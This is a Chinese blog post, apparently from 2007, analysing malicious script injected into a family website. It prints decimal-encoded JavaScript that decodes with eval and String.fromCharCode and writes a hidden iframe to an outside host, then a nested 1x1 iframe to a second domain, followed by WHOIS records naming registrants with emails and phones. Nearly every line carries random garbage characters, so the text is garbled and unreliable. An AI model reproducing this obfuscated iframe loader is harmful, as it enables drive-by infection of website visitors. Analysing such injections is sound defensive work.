首发在我的博客里面，
tk)}4b^\%j `9k\~D=D~ http://www.areway.cn/?p=175 C?MKb D=K A/&u /?*C \acGSW
.c 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
ny!80I ,-kz \N@. <script>t=’60,105,102,114,97,109,101,
M04 u>|
, 32,115,114,99,61,104,116,116,112,58,47,47,
fOKAy ' 102,114,101,101,46,117,45,117,117,117,46,99,
=*.S<K o) 110,47,101,114,114,111,114,46,104,116,109,
/ cVZ/" 32,119,105,100,116,104,61,49,48,48,32,104,
0C3Y =F 101,105,103,104,116,61,48,62,60,47,105,102,
Q<DX DvL 114,97,109,101,62′;
i+Mg[x$. t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
g~(G P asE.!g? <script>t=’60,105,102,114,97,109,101,32,115,
z).&0K 114,99,61,104,116,116,112,58,47,47,102,114,
QxuU3#l 101,101,46,117,45,117,117,117,46,99,110,47,
\F\xZ.r 101,114,114,111,114,46,104,116,109,32,119,
Gm > =s 105,100,116,104,61,49,48,48,32,104,101,105,
R&:Qy7" 103,104,116,61,48,62,60,47,105,102,114,97,
&|h9L' mr 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
nEP3B '+ document.write(t);</script>
_mQj= /1m +iM^V <html xmlns=”
E(z|LS*3 http://www.w3.org/1999/xhtml
R7;X “>
|Bv,*7i& <head>
<[T{q
|* <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
$VP\Ac,! <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
/Z ~$`! J <title>首页 - 爱生活家庭网
VV#'d #) i+'L8 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
'
QjJ^3A 转换字符串后的大概内容是（谁点击后果自付）：
XWX] /j2jA <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
DwK$c^2q{. B/ mfm 7 查询玉米u-uuu.cn的详细信息：
4H@7 t,> Domain Name: u-uuu.cn
b7">IzAe
ROID: 20070901s10001s64972306-cn
Lo Y*,Aa& Domain Status: ok
(=Oo=8\ Registrant Organization: 王雷
pV!WZ Ufg Registrant Name: 王雷
2|(lKFkQ Administrative Email:
czlovexs@126.com K@oy vJ$ Sponsoring Registrar: 北京万网志成科技有限公司
} 7K~- Name Server:ns.yovole.com
[ \%a7ji# Name Server:ns1.yovole.com
}[PC
YnS Registration Date: 2007-09-01 17:54
qP zxP @4
Expiration Date: 2008-09-01 17:54
jK%Lewq 最后PING了一下地址 都没有什么….
$"}[\>e*{ _ /Eg_dQ~@ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
kY9$ M8b <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
>5TXL OYZ <script language=”javascript” src=”
)4hA Fy6l http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script .81 ~ K[ >
:22wq{ 这个玉米应该有可能是木马作者的：
%h;1}SFl0 foafau.info的详细信息：
TTWi wPo59 Access to INFO WHOIS information is provided to assist persons in
``@e7~F{ determining the contents of a domain name registration record in the
)>iPx.hVSS Afilias registry database. The data in this record is provided by
'geN
dx Afilias Limited for informational purposes only, and Afilias does not
/ %F,
guarantee its accuracy. This service is intended only for query-based
c+O:n:L access. You agree that you will use this data only for lawful purposes
I]pz3!On4, and that, under no circumstances will you use this data to: (a) allow,
| Ho}
D ~ enable, or otherwise support the transmission by e-mail, telephone, or
&' y}L' facsimile of mass unsolicited, commercial advertising or solicitations
RSw; b.t7 to entities other than the data recipient’s own existing customers; or
7osHKO<?2 (b) enable high volume, automated, electronic processes that send
K( ?p]wh queries or data to the systems of Registry Operator, a Registrar, or
kbbHa_;aqV Afilias except as reasonably necessary to register domain names or
rt?*eC1b+Z modify existing registrations. All rights reserved. Afilias reserves
aZ|S$-} the right to modify these terms at any time. By submitting this query,
W[e2J&G you agree to abide by this policy.
?(}~ [ Domain ID:D22418703-LRMS
h&!$ `) Domain Name:FOAFAU.INFO
^&c &5S} Created On:20-Nov-2007 16:05:42 UTC
~fzuz'"^ Last Updated On:20-Nov-2007 16:05:44 UTC
TN08 ,:k Expiration Date:20-Nov-2008 16:05:42 UTC
F}@]Lq+ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
W@%g_V}C* Status:CLIENT DELETE PROHIBITED
b &d4( dk Status:CLIENT RENEW PROHIBITED
*iyc,f^w Status:CLIENT TRANSFER PROHIBITED
jR+k x :+ Status:CLIENT UPDATE PROHIBITED
NSR][h_ Status:TRANSFER PROHIBITED
#B giDLh Registrant ID:GODA-040110615
\JCpwNT{P Registrant Name:liu hong
H
=&K_ Registrant Organization:
V^><
=DNE Registrant Street1:beijing
Hq?dqg' %~ Registrant Street2:
g:6 `1C Registrant Street3:
;RQ}OCz9}8 Registrant City:beijing
s heCwhV Registrant State/Province:
6 4<*\z_ Registrant Postal Code:100000
q$`>[&I~) Registrant Country:CN
9/I
xh? Registrant Phone:+86.860108888777
Sw? EF8}[ Registrant Phone Ext.:
ax K/YE7t Registrant FAX:
[9F Registrant FAX Ext.:
"5EL+z3v Registrant Email:bbbshiji@163.com
6?JvvS5 Admin ID:GODA-240110615
q]s_ hWWv Admin Name:liu hong
0xaK"\Q Admin Organization:
[l7n "gJ~ Admin Street1:beijing
+Z=y/wY Admin Street2:
f|3L eOyz Admin Street3:
~0}d=d5g Admin City:beijing
'e$8
IZm Admin State/Province:
2p58_^l Admin Postal Code:100000
o!c~"
Admin Country:CN
'TA
!JB+ Admin Phone:+86.860108888777
p Tncx%!W5 Admin Phone Ext.:
kjOkPp Admin FAX:
;hEeFJ=/G Admin FAX Ext.:
1F+JyZK}w Admin Email:bbbshiji@163.com
)@=fGN D t Billing ID:GODA-340110615
4AF.KX7 Billing Name:liu hong
` joyHKZI. Billing Organization:
,s:vi Xk Billing Street1:beijing
_NpxV'E Billing Street2:
S&D8Rao 5 Billing Street3:
N&|,!Cu Billing City:beijing
SDk^fT V8x Billing State/Province:
{M\n Billing Postal Code:100000
,# %I$ Billing Country:CN
l|;]"&|_]c Billing Phone:+86.860108888777
VtGZB3 Billing Phone Ext.:
_?eT[!oO8 Billing FAX:
: J SuC Billing FAX Ext.:
kE[R9RS! Billing Email:bbbshiji@163.com
,pVe@ d' Tech ID:GODA-140110615
$H&:R&Us Tech Name:liu hong
Pa$"c?QUy Tech Organization:
::-*~CH) Tech Street1:beijing
g yT0h?xDt Tech Street2:
;Sp/N4+ Tech Street3:
Z.s0ddM s Tech City:beijing
hf7[<I,jov Tech State/Province:
+%K~HYN Tech Postal Code:100000
PSyUC#; Tech Country:CN
rfr]bq5 Tech Phone:+86.860108888777
~)6EH`- Tech Phone Ext.:
_g'x=VJF Tech FAX:
l 3 jlKB Tech FAX Ext.:
,3!4
D^ Tech Email:bbbshiji@163.com
Q5sJ|]Bc Name Server:NS27.DOMAINCONTROL.COM
yW"[}L h4 Name Server:NS28.DOMAINCONTROL.COM
FJT0 lC Name Server:
% 'S[f Name Server:
>&^jKfY Name Server:
@3S:W2k Name Server:
Nu'ox. V Name Server:
p\.I P2+c Name Server:
Nx
E=^
v Name Server:
QUh`kt(E Name Server:
6` Aw!&{ Name Server:
s%RG_"l Name Server:
cIP%t pTW. Name Server:
+*aC
\4w _1~pG )y$U 接着下载每个文件里面的代码：
Vjd>j; H 一步一步看..
iO2jT+i 
wrs r U 
JC;& ]S. 
Jje!*?&8X 
W! J@30 
7< Y aw,G 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
